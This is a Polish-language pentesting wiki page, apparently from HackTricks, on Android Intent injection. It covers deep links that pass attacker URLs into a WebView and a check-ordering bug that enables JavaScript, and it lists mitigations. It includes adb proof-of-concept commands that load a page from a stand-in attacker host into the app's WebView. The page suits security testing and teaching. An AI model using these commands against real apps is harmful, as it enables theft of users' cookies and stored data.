# Intent Injection

{{#include ../../banners/hacktricks-training.md}}

Wstrzykiwanie intencji wykorzystuje komponenty, które akceptują Intencje kontrolowane przez atakującego lub dane, które są później przekształcane w Intencje. Dwa bardzo powszechne wzorce podczas pentestów aplikacji na Androida to:

- Przekazywanie stworzonych extras do eksportowanych Activities/Services/BroadcastReceivers, które są później przekazywane do uprzywilejowanych, nieeksportowanych komponentów.
- Wywoływanie eksportowanych VIEW/BROWSABLE głębokich linków, które przekazują URL-e kontrolowane przez atakującego do wewnętrznych WebView lub innych wrażliwych miejsc.

## Głębokie linki → WebView sink (wstrzykiwanie parametru URL)

Jeśli aplikacja udostępnia głęboki link z niestandardowym schematem, taki jak:
```text
myscheme://com.example.app/web?url=<attacker_url>
```
i odbierająca Aktywność przekazuje parametr zapytania `url` do WebView, możesz zmusić aplikację do renderowania dowolnej zdalnej treści w swoim kontekście WebView.

PoC za pomocą adb:
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS wykonuje się w profilu WebView aplikacji.
- Jeśli JavaScript jest włączony (domyślnie lub z powodu błędnie uporządkowanych sprawdzeń), możesz enumerować/używać wszelkich ujawnionych obiektów `@JavascriptInterface`, kraść ciasteczka WebView/lokalne przechowywanie i pivotować.

Zobacz także:

{{#ref}}
webview-attacks.md
{{#endref}}

## Błąd kolejności sprawdzeń umożliwiający JavaScript

Powtarzającym się błędem jest włączenie JavaScript (lub innych liberalnych ustawień WebView) przed zakończeniem ostatecznej listy dozwolonych adresów URL/weryfikacji. Jeśli wczesne pomocnicze funkcje akceptują twój głęboki link, a WebView jest skonfigurowane jako pierwsze, twoje ostateczne załadowanie odbywa się z już włączonym JavaScript, nawet jeśli późniejsze sprawdzenia są wadliwe lub zbyt późne.

Na co zwrócić uwagę w dekompilowanym kodzie:
- Wiele pomocniczych funkcji, które różnie analizują/dzielą/odbudowują URL (niespójna normalizacja).
- Wywołania `getSettings().setJavaScriptEnabled(true)` przed ostatnim sprawdzeniem listy dozwolonych hostów/ścieżek.
- Pipeline jak: analizuj → częściowa walidacja → konfiguruj WebView → ostateczna weryfikacja → loadUrl.

Mitigacje
- Kanonizuj raz i waliduj ściśle; kończ z błędem.
- Włączaj JavaScript tylko po przejściu wszystkich sprawdzeń i tuż przed załadowaniem zaufanej zawartości.
- Unikaj ujawniania mostów do niezaufanych źródeł.

## Inne klasyczne prymitywy wstrzykiwania Intent

- startActivity/sendBroadcast używając dostarczonych przez atakującego `Intent` extras, które są później ponownie analizowane (`Intent.parseUri(...)`) i wykonywane.
- Eksportowane komponenty proxy, które przekazują Intenty do nieeksportowanych wrażliwych komponentów bez sprawdzeń uprawnień.

## Referencje

- [Android – Dostęp do komponentów chronionych aplikacji](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 – łańcuch ataków Samsung S24 (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Film demonstracyjny](https://www.youtube.com/watch?v=LAIr2laU-So)

{{#include ../../banners/hacktricks-training.md}}